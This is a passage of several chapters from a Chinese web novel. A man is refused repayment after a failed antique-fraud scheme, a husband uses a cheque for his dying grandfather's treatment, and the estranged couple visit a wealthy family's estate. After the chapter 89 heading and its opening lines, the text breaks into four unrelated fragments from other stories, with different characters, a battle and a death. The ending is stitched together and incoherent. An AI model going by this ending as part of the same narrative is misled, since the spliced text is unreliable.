吴庸挑挑眉毛,不解地问出一句。 周平方再也无法淡定,伸手指向吴庸! “姓吴的,你不能这么黑,我给了你50万,现在事情没成,凭什么不能要回来?” “当初咱们可是说好的,那钱你一半我一半,我提前把钱给了你,事情搞砸了,你还想独吞我的钱不成?” “我告诉你,那钱是我借的,你必须要还给我!” “我现在没了工作,整天被要账的堵着门,我家都不敢回了,你给我钱,我把钱还给他们,利息我出还不行吗?” 说话的时候,周平方的手都在打哆嗦。 事情搞成这个样子,他也没有想到。 当初,赵教授带着他见张哥,自始至终他也没讲几句话。 可是后,张哥竟然主动找了他,而且明码标价地把事情谈了个清楚。 登封窑白釉剔花执壶,按照估算价,能够在赵教授那里卖350万,除去成本,大概能剩300万。 他们三个人,按人头算,一人能留100万。 周平方要做的,就是促成这种买卖。 只要买卖能成,那100万就是他的辛苦费。 赵教授一辈子都在研究文物,鉴别一些老物件的真伪,在赵教授看来不是难事。 经过几次交谈,周平方几乎要放弃。 可是,老天爷给了他机会,赵教授死了! 赵夫人又想着要完成赵教授的遗愿,周平方的念头又活了过来。 可谁知道,中间冒出来了个林泽! 得知林泽不好糊弄过去,实在没有办法,周平方才找到了吴庸。 将事情完完本本的交代完毕,周平方跟吴庸也达成协议。 想到这些,周平方越发气愤。 “当初谈的时候,说得好好的,我为了表示诚意,先给了你50万,可你的人出了问题,把事情搞砸了,钱你为什么不退我?” 周平方看着吴庸,声音再次提高。 这50万块钱在别人眼里可能不算什么,对于他周平方来说,这就是救命的钱! 那帮地痞流氓早就放出话,到了日子再不还账,就要砍死他! 吴庸现在不认账,那就是在要他的命! “呵呵。” 吴庸笑出声音,抬手把周平方的胳膊推到一旁。 “周平方,你是不是糊涂了,搞砸事情的不是我的人,是林泽。” “冤有头,债有主,你要找,也应该找他,你缠着我干什么?” 第一卷 第84章 他……这是在拒绝? “我找他有什么用?他又没拿我的钱!拿钱的是你!” 周平方气急败坏,眼睛里都要喷出火苗子! 吴庸却一脸淡定,拿起咖啡匙,缓缓将一块方糖放入杯中,轻轻搅拌起来。 动作优雅丝滑。 这让面前的周平方显得格格不入。 “我替你办事,拿钱理所应当,自始至终,我的人都在按照计划进行,是林泽在中间破坏,致使计划没有成功,这一点你必须要承认。” “至于你要把钱要回去,我明确地告诉你,不可能。” “因为你,我损失了三名优秀的员工,光是他们每个人的补偿费就已经花了150万,你的那些钱,只够一个人的补偿费。” “这件事情我已经说明白,也,到此为止。” 说话的时候,吴庸一直看着面前的咖啡。 心情也如同杯中的咖啡一般。 虽然荡起层层涟漪,却还不至于洒落出来。 对面。 周平方脸涨得通红,胸脯一起一伏。 “你就是不想给我钱,是不是,当初我们说的是事情办成了,我给你50万,现在没办成,不管出于什么原因,你都得退给我钱!” “办成给钱,谁说的?你有什么证据?我跟你写合同了吗?” 吴庸冷笑一声,抬眸间,声音骤然变冷。 “周平方,我看你是糊涂了,连当初我们说话的内容都记不清了,奉劝你一句,好好休息,别再无理取闹!” 最后一句话,吴庸刻意压低了声音,可语气当中却充满狠辣。 周平方的脑袋嗡的一下子,整个人都有些站不稳。 姓吴的,他不认账了! 当初是怎么回事,他们两个人都讲得非常仔细,现在他翻脸不认人,自己却毫无办法。 还说什么补偿费,三个人的补偿费一共150万,纯属放屁! 他就是不想给钱! “我都说了,你把本金给我,利息我掏还不行吗,那些人都要把我逼死了,你不能坐视不管。” 周平方语气软下来,目光当中满是哀求。 吴庸摇摇头,轻松地伸出食指摆了摆。 “No,no,no,周先生,非常抱歉,我帮不上忙,你说的这件事情跟我没有任何关系。” 说完,吴庸直接起身。 走到门口时,突然又回过头,淡淡一笑。 “对了,今天,谢谢周先生的咖啡。” “砰!” 门,关上。 包间里一片寂静。 周平方呆若木鸡,整个人都懵了。 缓过神来后,周平方当场给了自己一个耳刮子。 “周平方啊周平方,你真是没出息!” “吴庸,你就是一个浑蛋,你这个王八蛋,你不得好死!” …… 出了咖啡馆,吴庸心情愉悦。 周平方可真是幼稚,那么大的一个人,脑袋像缺根弦一样。 提前给他钱不说,现在还想把钱要回来,真他妈一个傻蛋! 50万,不多,可蚊子腿上的肉也是肉,它也香! 想到钱,吴庸突然皱起眉头。 脑海当中也闪过一幅画面。 饭桌上,老太太双手拿着支票给林泽。 那支票上的钱,少说也得有50万吧…… 不管出于什么名义,最终林泽还是把支票收下。 想到这些,吴庸眼眸再一次收紧。 刚才愉悦的心情,瞬间变得不美好起来。 偏偏今天唐若涵还帮着林泽说话,这才是最让人郁闷的! “小涵,你是不是对林泽动心了?” 自言自语完毕,吴庸又开始咬牙。 …… “啊切!” 唐若涵手刚扶到椅子,突然打了个喷嚏。 对面。 林泽转身,“唐总,汤已经熬好了……” 话说到一半,唐若涵赶紧将其打断,“不用,我现在还不想喝汤。” 林泽停下脚步,像往常一样,静站在一旁。 “唐总,您找我有什么事?” 刚才,唐若涵郑重地找他,肯定是有话要说。 至于说什么,林泽没有接着往下想。 眼下最重要的事情,无非就是离婚。 还有三天,就要结束这种煎熬的日子了。 这对于他跟唐若涵来讲,都是解脱。 “林泽,有些话我不好问出来,但心里还是充满疑虑。”唐若涵唇瓣翕动,脸上闪过一丝为难。 “唐总,您说的是离婚的事吧?唐总放心,我绝对不会临时变卦,之前我对您说的那些,也绝对算数。” 林泽声音平静,语气当中听不出任何情绪。 唐若涵眉头一皱,心猛地沉了一下。 最近这几天,她的确在为离婚的事情烦恼,可眼下自己要问的,并不是这件事。 林泽张口就说离婚,难道,他就这么想跟自己办离婚手续吗? 此刻。 林泽嘴角扬起一个弧度,笑容里,也带了一丝释然。 那样子,像是卸下了千斤重担。 难道,跟自己在一起生活,他有那么大的压力? 心,仿佛又被揪紧了一下。 伸手抚了一下额头,唐若涵轻咬嘴唇。 “林泽,我要说的不是这个。” “唐总,您说。” 对面。 林泽眸子当中也闪过一丝意外。 不是离婚的事,那是什么? 两人四目相对。 唐若涵的声音再一次传来。 “林泽,你是不是需要钱?”没等林泽开口,唐若涵又赶紧解释,“我并没有怪你收师母支票的意思,我是想问,医院那边,是不是需要钱了?如果有困难,你不要瞒着。” 林泽一怔。 还别说。 如果唐若涵没有后来的解释,他还真会误认为唐若涵在怪自己。 但既然她这样问了,林泽也不好意思拒绝回答。 而唐若涵,似乎也在等待林泽的一个答案。 在唐若涵看来,林泽收下老太太的钱,肯定是有原因的,但唯一能跟钱扯上关系的,就是医院里的林振山了。 毕竟在一块儿生活了三年,如果林泽缺钱,她也会伸出援手。 想到病房当中林振山枯槁的神态,唐若涵也于心不忍。 “谢谢唐总的好意,这件事情我会解决。” 唐若涵愣住,不可置信地望着林泽。 他……这是在拒绝? “你宁可接受外人的帮助,也不愿意向我开口吗?” “唐总,您的心意我领了,钱的事情我会想办法搞定,真的非常感谢。” 林泽的话充满客气,可唐若涵只感觉到话语当中的那丝疏离。 一时间。 两个人都没有再说话。 林泽抬眼看了一下墙上的钟表。 时间在缓缓流逝。 用不了多久,他就可以跟唐若涵离婚了。 而在这个关键时刻,他也不想再埋下什么隐患。 唐家当初的确帮了他,但他也在按照合同条款履行职责。 离婚以后,他不想再和唐家有任何牵扯跟羁绊。 所以。 哪怕唐若涵是好意,他也不会接受。 “叮叮叮——” 一阵手机铃声,突然打破沉寂。 第一卷 第85章 我答应你,回家。 看到手机屏幕上的电话号码,唐若涵脸上露出一丝笑意,就连声音都变得轻松。 “爷爷,这个时候打电话过来,有什么事吗?” 唐伯卿先笑了两声,这才说话。 “小涵,不要忘记下午去沈家,我让周叔把挑选好的礼物给你们送过去了,你就不用准备了。” “爷爷,我看着选就行,您不用那么费心。” “都是一家人,什么你呀我呀的,礼物我已经选好,你们拿过去就行,”说到这里,唐伯卿一顿,“还有,小涵,一定要对林泽好一点,别让人家笑话你任性。” 唐若涵眉头一皱,抬眼看了看林泽,“爷爷,在你的眼里,我总是欺负他吗?” “没有没有,是林泽对你太好了。” 唐若涵还没缓过神,唐伯卿又嘱咐了两句,接着便挂断电话。 一句林泽对你太好了,好像让唐若涵的思路都有些改变。 将手机放到一旁,唐若涵有些心不在焉地说道:“我们下午去沈家,五点出发吧。” “好的,唐总。” 林泽依旧客气。 唐若涵的目光又在他脸上停留了一会儿,拿起手机,转身去二楼了。 回到卧室。 林泽掏出口袋里的支票。 现在,这笔钱正好可以送到医院。 继续治疗三次才能达到一个疗程,虽然一下子凑不够四个疗程的钱,用这些钱做一个疗程还是足够的。 看着面前的支票,林泽脑海当中闪过爷爷的面孔。 最终下定决心拿起手机。 “唐总,我想去医院一趟,四点以前肯定会回来,可以吗?” 话问出来后,林泽心情有些忐忑。 现在,唐若涵情绪难辨,也不知道她会不会拒绝。 “行,别耽误出发就可以。” “好的,唐总,谢谢您。” 事情意外的顺利,林泽拿起外套急忙往外走。 …… 东海市。 中西医结合医院,住院部。 主治医师今天休息,林泽直接找到安然。 明白林泽的来意以后,安然一脸惊愕,清澈眸子当中满是震惊。 林泽却十分平静。 “安医生,我明白,医院是综合各个方面给出建议,可我只想让爷爷多活一些日子。” “您在医院的时间长了,肯定也是相信奇迹的。” “有一些被医院下了病危通知的患者,即便出院,还能继续生活两三年,这种情况也是有的。” “所以,安医生,我不想放弃,也不能放弃。” 最后一句,声音有些沉重。 安然悠悠叹了一口气,声音干涩。 “林泽,我明白你的心情,相对于普通药物而言,这种特效药的价格……” “安医生,这钱先在这里放着,剩下的我会继续想办法,谢谢了。” 看着面前的支票,安然一阵为难。 “这种做法是不合适的,有反医院规定,林泽,我还是希望你多考虑一下,林老先生曾经提起过,想要保守治疗。” “爷爷是不想我有太大的压力,”林泽嘴角露出苦笑,“安医生,我们也算是朋友了,你能答应我这个请求吗?” 安然张张嘴,看看支票,又看看面前的林泽,眼眸颤动。 “那,这样吧,我先收下27万,剩下的23万你拿着,咱们先做一个疗程,如果后续有效果,咱们再接着继续治疗?” 林泽听完急忙点头。 “好,谢谢您了,安医生,爷爷那边的思想工作我去做。” 安然心中叹气,刚到了嘴边的话又被咽了下去。 面对林泽仅有的希望,她真不忍心浇灭。 可林老爷子的病,真的是个无底洞啊…… 十几分钟后。 林泽来到病房外。 深吸好几口气,这才平复情绪。 努力换上一张笑脸,林泽故作轻松地来到床头。 “爷爷,今天感觉怎么样?” 听到林泽的声音,林振山艰难转过头,声音当中带了一丝欣喜。 “小泽来了,爷爷今天……很不错。” 没等林泽坐到对面,林振山已经伸出枯槁的手。 林泽急忙上前,小心扶住他的胳膊。 “那就好,我看您今天的气色也不错。” 抬眼望着面前这张脸,林泽心中猛地一紧。 跟上次相比,爷爷的脸更加苍白,手上,也没有多少力气了。 以前,爷爷的背影那么高大魁梧,在林泽的记忆里,爷爷的后背又宽又平。 把头靠在他的背上,是最舒服的事情。 该死的病魔竟然把爷爷折磨成了这个样子。 一时间。 林泽胸口像被压了块石头,痛得没有办法呼吸。 昔日画面再次在脑海闪过,重新看向面前的爷爷,林泽眼眶发湿。 “小泽,怎么了,是不是……遇到难事了?” 察觉到林泽不对劲,林振山着急询问。 林泽刻意转头,使劲揉了揉鼻子做掩饰,“没有,鼻子有些痒,想打个喷嚏,但没打出来。” 说完。 林泽还特意笑了笑。 林振山如释重负,一脸慈爱地望着林泽。 “没事就好,爷爷就希望你……平平安安的,你没事,爷爷就算走也放心了。” “爷爷,您别说这样的话,刚才我见过安医生了,她说您的身体已经好转很多……”林泽一边说,一边想着那些安慰的话。 林振山笑着摇摇头。 “我的身体状况,我清楚,小泽,我还是想着……回老家看看。” 林泽抬眸。 正好对上林振山的目光。 顿时。 心再次一沉。 爷爷说话的声音并不大,可目光里却是沉重的期盼。 那种无声的惆怅,如同一根根线将林泽缠绕。 爷爷想回家,他不止一次地提到过。 可依照他眼下的身体状况,这一路颠簸,不知道他身体能不能受得住。 一时间。 林泽左右为难。 如果回去,治疗必然中断。 可若是继续让爷爷留在医院,爷爷的愿望…… 皱眉思索片刻,林泽终于抬起头。 “爷爷,您先等一等,回头我找安医生商量一下,如果时间允许,那咱们就回老家。” “真的吗?”林振山浑浊的眼眸里闪过一丝光亮,就连声音也略有提高,“好,爷爷等你的消息。” 话音落后。 林泽清晰的看到,爷爷泪眼模糊,眼泪顺着脸颊滑落。 “爷爷,您别哭,我一定会安排好的。” “好,”林振山的手抚在林泽的手背上,手指微微用力,“爷爷相信你。” 话说完后,林振山的声音再次传来。 “小泽,你是一个坚强的孩子,不管爷爷在不在,都要……认真的活着。” 林泽一怔。 浑身的力气瞬间像是被抽干。 爷爷的话,总让他有一种不祥的预感。 第一卷 第86章 他有一张明星脸! “今天阳光有些刺眼,晒得人都困了,小泽,爷爷先睡会儿……” 林振山面带欣慰,说话的声音越来越轻。 “爷爷,您先休息,我在您床头守着。” “好。”林振山点点头,慢慢闭上眼睛。 看着厚厚的窗帘,林泽心中又是一阵难受。 …… 下午3:50分,林泽回到盛世豪庭。 客厅里摆放着几样礼物,极其精致。 林泽猜想,这应该是唐老爷子让周叔送过来的东西。 5点出门,现在这个时间点,应该叫唐若涵出来了。 林泽刚想抬脚,二楼楼梯口处,传来一阵脚步声。 “你回来了?”唐若涵声音温婉轻柔,脸上淡淡笑意当中依旧带了一丝疏离,“去换衣服吧,一会就出发。” “好的,唐总。” 说话间。 林泽转身走向楼梯拐角处,那里有一个单独的小房间。 房间狭小,只能容下一个衣柜,里面放着两套西装。 一套是他跟唐若涵结婚时的礼服,另外一套,则显得不那么古板。 平常如果需要他跟着唐若涵出门,林泽都会选择第二套。 几分钟后,林泽穿好衣服出来。 看到面前的唐若涵,眼眸不由得一震。 米白色中长裙优雅得体,脖领和裙摆处各镶了一圈珍珠。 平日散落在肩头的栗色长发,也被挽成发髻。 耳朵上的珍珠耳坠,随着唐若涵的脚步不断摆动,摆动的同时不乏调皮可爱。 此刻。 唐若涵如同百合花一般清纯高雅。 看到林泽一直朝自己这边看,唐若涵柳眉一蹙,随即解释。 “爷爷说,沈家那边是家宴,我想着穿得没必要穿太正规,如果你觉得不合适,我可以再换一套。” 林泽有些懵。 今天这是怎么了,唐若涵怎么征求起他的意见来了? 这三年当中,无论是她的行程计划还是穿着打扮,从来都没有跟自己沾过边。 对于林泽来讲,他只有听从安排的份,根本没有提意见的资格。 短暂失神过后,林泽赶紧开口:“唐总,这样就挺好的,挺合适。” “那就好!” 唐若涵一边说话一边下楼,目光时不时地在林泽身上打量。 林泽穿上这身西装,整个人的气质都变了。 即便是唐若涵,也很难将那个平日里做家务的林泽跟眼前的人联想到一块。 走到林泽身边时,唐若涵特意停了一下。 透过家具漆面反过来的影子,她竟然发现,映在家具上的那两个人影,站在一起好像还蛮不错。 “唐总,我先把这些放到车上去。” 林泽声音传来,唐若涵迅速收回思绪,“好。” 等到定下神。 林泽已经拿着礼盒出门了。 唐若涵若有所思。 这,或许是她跟林泽最后一次一起出现在众人面前吧。 突然有些伤感,那感觉就像光滑的镜面突然有了一小丝裂缝。 虽然不影响使用,却异常醒目。 “算了,不想了,婚肯定是要离的,去沈家,也只是不想让爷爷失望。” 唐若涵在心中劝慰自己后,重新来到镜子前,抬手整理了一下头发。 …… “唐总,您说是去沈家老宅?” 上车后。 林泽惊讶地问出一句。 唐若涵微微点头,“对,听说这是沈老爷子的意思,这家宴的规格,蛮高的。” 林泽听完心中也跟着一震。 东海几个大家族,各个声势显赫。 其中,唐家,南家,沈家的老家主现在都已经不问世事,几个老家主像是商量好了一般,在几年时间之内,都把手里的权力交给了儿孙一辈。 平日里,那些老家主就住在家里的老宅子,赏花弄草,颐养天年。 如果不是有重要的事情,他们几乎不见客,也不与外人来往。 在此之前,唐家跟沈家没有什么交集,生意上也无往来。 原本以为,这只是寻常的一次拜访,没想到,沈老爷子嘴里所说的家宴,地点竟然在沈家老宅。 不知不觉间。 林泽心里也多了一丝压力。 唐若涵转头,再次看向林泽。 五官有棱有角,立体端正,就连握着方向盘的手,也是骨节分明,干净修长。 瞬间。 唐若涵脑海当中闪过苏晴的提议。 “你微电影里的男主角,除了姐夫以外,没有更合适的人选。” 如果林泽去试镜,成功率,应该蛮大的。 “林泽,以后你有什么打算?” 唐若涵问话的声音很轻,就像好友之间暖心的问候。 林泽没有想到,唐若涵会问起这个,想了想,这才回答。 “暂时还没有什么计划,应该是先找个住处,再找个方便照顾爷爷的工作。” 林泽说的是事实,想法也非常接地气。 工作肯定是要找的,但是,前提条件是不能耽误照顾爷爷。 这样一来,工作范围就有了一定的局限。 可如果不工作,没有经济来源,后续爷爷的医疗费就无法维系。 这个问题不好解决,这也是最近这段时间林泽纠结的原因。 “林泽,你有没有想过做演员?” “演员?”林泽愣住,显然没缓过神。 “是啊,最近不少年轻人都去试镜,如果可以的话,还能跟公司签约,工作时间也很合理。” 看到林泽没有接上话茬,唐若涵继续解释,“主要是时间上比较轻松,完成属于自己的工作部分以后,剩下的时间就可以自由安排。” “我感觉,你可以试试。” 有了之前苏晴的提醒,重新审视林泽的时候,唐若涵也变得专业起来。 最终,她以一个专业人士评价出来的结果是,可以。 如果后期宣传到位,估计林泽在影视圈,也会闯出一番天地。 每个人成功的路不同。 有的人靠努力,有的人靠捷径,还有一种靠天赋。 说得更加直白一些,就是人们嘴里经常说的,老天爷赏饭吃。 林泽,显然属于后者。 因为他有着一张“明星脸。” 内心想法确定的那一刹那,唐若涵甚至有些懊悔,自己为什么没有早点发现。 最佳人选就在身边,而她却浪费了三年的时光。 旁边。 林泽的心猛地揪了一下。 唐若涵这是在邀请他吗? 如果不是亲耳听到,林泽肯定不相信这一切是真的。 三年以来,唐若涵一直把自己当成敌人。 即便后来态度有些缓和,他们也不是朋友。 现在竟然说出这样的话,真……不可思议。 “怎么样,要不要考虑一下?” 林泽不说话。 唐若涵有些急了。 第一卷 第87章 她,怎么也来了? “唐总,我暂时没有过这个想法。” 林泽如实回答。 不管唐若涵这么问是出于什么原因,去做演员,的确没有在林泽的选项当中。 唐若涵接下来的一句话,再次让林泽蒙圈。 “你是不是担心会不成功?那就先来闪创这边试试,闪创的待遇以及福利都比其他影视传媒要高。” 唐若涵嘴唇翕动,再次看向林泽。 “什么?”震惊的同时,林泽几乎是出于本能的拒绝,“唐总,这样不合适,毕竟我们马上就要离婚了,如果我去您的公司,必然会有流言蜚语,这对大家都不好。” 林泽话语平静,眉头却微微皱起。 离婚以后有一份稳定的收入,对于林泽来说非常重要。 可唐若涵提到的,是一个烫手的山芋。 他不能接。 换句话说。 抬脚迈进唐若涵的公司很容易,可要走出来,就很难了。 离婚以后路归路,桥归桥,各自重新开始,才是最好的安排。 见林泽拒绝得如此果断,唐若涵又感到一阵失落。 “好吧,我尊重你的选择。” “但如果有需要,我还是欢迎你来闪创。” 到底还是有一丝不甘心,唐若涵说出了最后一句。 林泽感激点头,“好,谢谢唐总。” 汽车依旧向前行驶。 接下来。 两个人都没有说话。 唐若涵眉头蹙起,对于刚才发生的事情,也感觉到不解。 今天发生的状况不少。 尤其是对父亲从别墅里轰出去,这让唐若涵颜面无存。 按道理说,自己应该更加在意那件事情才对。 可不知道为什么,唐若涵感觉,好像眼下林泽的事情才更重要一些。 或者说。 在吴庸和林泽这座天平上,她已经不知不觉地偏向林泽这边。 不! 不可能! 唐若涵低下头,迅速调整思绪。 最后,唐若涵告诉自己,刚才如此专注和在意,是因为刚才在和林泽谈事情。 这是自己对工作的态度,除此之外,别无其他。 如此安慰一番,唐若涵的心情才平静下来。 目的地很快到达。 汽车停在一座宅院面前。 标准的三进院子,占地面积以及地理位置自然不用多提,院子的价值更是不可估量。 沈家不缺钱。 沈老爷子年轻时便喜欢收藏,一直到老这爱好从不曾改变过。 所以,在几大家族的老家主当中,沈老爷子也住得最为讲究。 林泽将汽车放好,随即下车替唐若涵打开车门。 等到唐若涵站稳以后,他这才关上车门,打开后备箱。 这时。 一阵脚步声传来。 迎面走来的是一个中年男子。 男子身后跟着几个仆人。 虽是仆人,但他们身上穿着干净的制服,面带微笑,动作步伐一致。 “林先生,唐女士,欢迎欢迎。” 沈平韵一脸欣喜,当场接过林泽手里的礼盒,又做了一个请的姿势。 “等你们很久了,可算是把人盼来了。” 沈平韵是沈老爷子的二儿子,沈家现任家主。 之前。 林泽和唐若涵在赵家别墅见到过他。 虽然对沈平韵不算陌生,可是看到对方如此热情,林泽还是感觉到些许不自然。 “沈先生,您客气了。” 沈平韵放缓脚步,边走边解释。 “其实,早就应该请您二位来这里,可家中有事耽搁,一直拖到现在,实在是抱歉。” 说到这里,沈平韵特意转头看向林泽。 “林先生,实不相瞒,东西找到以后,我跟大哥慎重商量,觉得瞒着家父他老人家实属不妥,想着物品现在已经找到,告诉家父也无妨。” “谁知,家父得知以后大病一场,最近身体才略有好转。” “所以,请林先生来家里做客这件事,就一直推脱至今,还请林先生原谅。” 沈平韵神情诚恳,语气极为客气。 林泽知晓其中缘由以后,也跟着点头。 “那老人家现在的身体如何?” 沈平韵长叹一口气。 “这件事情终究是我跟大哥考虑不周,不过,家父身体总算有好转,我们也能放下心来。” 说话间。 沈平韵的脸上又多了一丝歉意。 “那就好,事情终究是有惊无险,老人家的身体一定会越来越好的。” “但愿如林先生所言。” 林泽跟沈平韵相视一笑。 旁边。 唐若涵柳眉一连蹙了好几次。 他们两个人侃侃而谈,自己竟然一句话也插不上? 更让唐若涵疑惑的是,他们所谈的内容,她竟然一无所知。 什么东西找到,老人家大病一场,这都是自己听都没听过的消息。 一时间。 唐若涵只好跟在林泽身边。 乖巧温婉的样子,连她自己都有些难以置信。 院子收拾得极为干净,两旁绿植造型也是精心修剪过的。 沈平韵亲自带着林泽和唐若涵走过一个圆拱门,随后又向前走去。 院子很大,还有专门的花园。 花园旁边,竟然是一个小菜园。 园子里的菜新鲜翠绿,叶片上还滴着水珠。 唐若涵被吸引,不由得朝旁边多看了两眼。 “这是家父中意的菜园,地方不大,却是他亲手打理。” 说话间,沈平韵脸上露出一丝笑意。 听完,林泽脸上也有些许放松。 上点年纪的老人,或许都喜欢这样做。 “我爷爷曾经说过,自己种出来的菜,比外面买的要好吃。” 此话一出。 沈平韵紧跟着点头。 “林先生,家父也经常这样说,这些小菜苗真是他的宝贝。” 眼看着林泽跟沈平韵又说到一块儿去,唐若涵悄悄地叹了一口气。 看来,这个沈平韵可真是欣赏林泽。 又往前面走了一段路,三人看到一个正在修剪花草的老人。 唐若涵一眼便认出,眼前这个人便是沈老爷子。 沈老爷子今年虚岁七十,身子骨还算硬朗。 可能是大病初愈的原因,老爷子手上的动作有些缓慢。 花白的头发跟棉麻唐装,倒是挺相配。 此刻。 老爷子正拿着花钳修剪一棵桂花苗。 动作不缓,不急,却又小心翼翼。 “父亲。” 沈平韵开口叫了一句。 老人家听闻,跟着转过头来。 看到沈平韵身边的林泽和唐若涵,老人家脸上立刻露出笑意。 这时。 林泽和唐若涵上前。 “沈爷爷好。” 唐若涵面带笑意地打招呼。 一旁的林泽也上前一步,“沈爷爷好。” “好,你们都是好孩子,林先生,早就想跟你见面,今天终于看到你了。” 既然沈老爷子如此客气,林泽急忙开口说道:“沈爷爷,您叫我林泽就可以。” “怎么行,您对我沈家有恩,我怎么能直呼其名?不如,我也随平韵他们那样称呼你小林先生,怎么样?” 沈老爷子一脸和蔼,继续笑着询问。 林泽有些哭笑不得。 让沈老爷子称呼自己小林先生,他真有些受不住。 正思索着该如何回答,一道轻柔甜美的女声突然传出。 “林泽,你终于来了!” 林泽循声望去,当场愣住。 旁边。 唐若涵看清楚来人后,柳眉瞬间皱成一团。 她,怎么也来了? 第一卷 第88章 我们就像青梅竹马。 看到南希那一瞬。 林泽没有说话。 唐若涵的目光一下子定住。 之前,唐若涵也只是远远地看到过南希几眼,并没有如此近距离的观察过。 南希,原来长这个样子。 身材匀称,五官圆润。 眼神灵动,眉毛弯弯。 一对眼睛笑得像月牙一样,此刻正在朝他们这边看。 面前的南希只穿了件灰蓝色的t恤,配个米白色的阔腿裤。 看起来极为简单,却又非常精致。 这种耐看干净的风格,越看,越有味道,越看越让人感觉安心舒服。 相比之下。 唐若涵甚至觉得,自己的装扮不及南希的田园风了。 可那日,南希的穿着明明不是这个样子的。 红色的跑车,皮裙。 张扬又放肆。 如果不是之前见过,唐若涵真不敢相信这是同一个人。 正在二人愣神之际,沈老爷子突然对着南希招了招手。 “你这小丫头,怎么这么没礼貌?小林先生和他的夫人可是我专门请过来的贵客,不可以怠慢。” 南希撅撅小嘴,快走几步上前挽住沈老爷子的胳膊,撒娇道:“爷爷,我知道他们是贵客,可我跟林泽早就认识啊,我们熟得就像青梅竹马了,如果像你说的那样客气拘谨,那岂不是矫情?” 沈老爷子当场一愣,随即哈哈起来。 “好,这话说得完全合理。” “林先生,您跟小希认识?” 沈平韵一脸疑惑地看向林泽。 林泽点头解释,“我跟南希是大学同学。” “原来如此,”沈平韵恍然大悟,“怪不得刚才听到我说的贵客以后,小希说什么也不走,原来是这样。” 沈平韵明白了。 旁边的唐若涵,依旧是一头雾水。 看看面前的南希,再看看沈老爷子,最后,唐若涵将目光放在沈平韵的脸上。 刚才。 南希亲昵地叫沈老爷子“爷爷”,沈平韵又称呼南希为“小希”,那他们的关系,究竟是怎样的? 沈南两家都是东海大族,背后该不会还有什么不可告人的关系吧? 可即便真有其事,也不至于这样明目张胆? 唐若涵故作平静,眼睛却悄悄看向林泽这边。 意思已经非常明显。 这个时候,你是不是应该悄悄提醒我些什么? 可下一秒。 唐若涵就迎上林泽平静且波澜不惊的眸子。 气氛有些微妙,略带些尴尬。 这时。 南希看着沈平韵,清甜的声音再次传来。 “姑父,刚才你去迎接林泽他们,我跟爷爷可是聊了很久,你可错过了很多重要信息哦!” 一声姑父,让唐若涵瞬间明白南希跟沈家人的关系。 沈家家主沈平韵,夫人南清婉。 南希现在称沈平韵姑父,想必,那位沈夫人就是南希的姑姑了。 林泽得知以后也有些吃惊。 “南希,没有想到,你跟沈家还有这层关系。” 南希娇俏一笑。 “林泽,我小时候跟着姑姑在这里住了八年,这里就是我第二个家,宅子里,那些百年老树,我不仅能叫上名称,还知道它们是哪年运进来的。” “我记得上学的时候,你的记忆力非常好,原来是小时候就如此。” 林泽顺着南希的话说了一句。 唐若涵悄悄垂下眼眸,巧妙掩饰住了内心的情绪。 刚才她不仅在观察南希,而且还记住了她所说的话。 “我们熟的就像青梅竹马”,这是不是还有其他的意思? 许是看到了什么,看到南希还想要接着往下说,沈平韵当即开口将其截断。 “小希,虽然你跟林先生早就认识,可也不能让我们的贵客一直在院子里,”说着,沈平韵再次看向林泽和唐若涵,“不如我们进屋聊?” “对,看我光顾着高兴了,都忘记让小林先生进屋了。” 见沈平韵如此说,沈老爷子也急忙附和。 于是。 在沈家人和南希的盛情邀请之下,唐若涵和林泽进屋。 屋子里的摆设跟外面相得益彰。 八仙桌,太师椅。 各种古玩花瓶摆放得错落有致。 就连仆人端过来的茶水,用的也都是青花瓷器。 沈平韵扶着沈老爷子坐到太师椅上,林泽跟唐若涵则是在一旁的黄花梨圈椅上坐下。 南希随意地站在一旁,气势却非同凡响。 乍一看去,倒真像是在自己家里一样。 每次看向林泽,沈老爷子脸上的笑容便会加重一分。 轻抿茶水,将茶盏放下以后,沈老爷子一脸感慨。 “小林先生,上次的事情多亏了您提醒,否则,我这辈子都要跟那件北宋官窑弦纹瓶无缘了。” “沈爷爷,您别这样说,是沈先生判断有方,带领手下的人动作果断,失物才得以找回,这是大家的努力,我只不过是说了几句话而已。” 林泽不想把功劳归在自己身上。 毕竟,事实也的确如他所言。 这样贸然领功,不是他的想法,也不是他为人处世的态度。 沈老爷子听完摆摆手。 “小林先生不要谦虚,事实是什么样子的,我能猜得出来。” “如果真的如同小林先生所说,那件弦纹瓶早就找到了,不至于拖那么长时间都没线索。” “后来,他们告诉我事实真相,也是出于心中愧疚,总之,这件事情真的是多亏了你。” “我跟那弦纹瓶渊源颇深,得知它遭了这么大的罪,一时间也难以释怀,还因此大病一场。” 说着,沈老爷子不好意思地摇了摇头。 旁边的沈平韵没有说话,头却低下去。 唐若涵面不改色,脑子里却出现在赵家别墅那一幕。 那日。 沈平韵行色匆匆,神情焦灼。 谦虚地跟林泽打完招呼以后,又跟他一块去了亭子。 难道,那是他们两个人说的,就是北宋官窑弦纹瓶的事? 如果真是那样,这一切就顺理成章了。 只是,唐若涵有些想不通。 林泽,他怎么会对文物这么有研究? 他的这些知识积累,是从什么时候开始的? 仅仅是经过了爷爷的提点,多读了一些书吗,这多半不可能。 一时间。 唐若涵的思绪有些飘忽。 沈平韵见状,急忙开口转移话题。 “父亲,林先生对我们沈家的帮助,我跟大哥都会铭记于心,沈家定当回报。” “今日林先生和夫人到来,我深切体会到什么叫天作之合。” “林先生博古通今,唐女士在珠宝设计上颇有造诣,他们二人,可真是天造地设的一对。” 说着沈平韵,特意看向唐若涵。 “在设计行业,唐女士真的是极其有天赋的。” 话音刚落。 南希突然冒出来一句。 “姑父,我也有天赋!” 第一卷 第89章 法律条款,我都能背过! 众人一惊。 纷纷将目光看向南希这边。 沈平韵目光当中的不解之色更浓。 南希今天这是怎么了,这孩子平日里也不这样啊? 二雷跑到一边,曲蓝衣轻声笑了一下,俊脸上的表情明显写着,和我斗?云枫无奈笑笑,还真是一物降一物,脾气暴躁把谁都不放在眼里的二雷,在曲蓝衣面前却是次次败下阵来,克星,绝对的克星。 马武跳下马,挥起长剑,徒步向云杜县城池冲去,亲随们担心马武安危,举盾奔到马武身前,剩下四千余名步兵更是人人奋进,喊杀声如雷。 薛仁贵连忙停住,前去迎接吴奈,一看到他,吃了一惊。吴奈平素都是带着若有若无的笑容,给人颇有城府的印象,如今却是一脸的怒容。 观战的人目瞪口呆,呼吸彻底停顿了几秒,继而都是大声的喘着粗气,再看那陷进地里的林蒙,早已经没了生气,五官透着绝望的恐惧,好像临死前经历了巨大的痛苦。 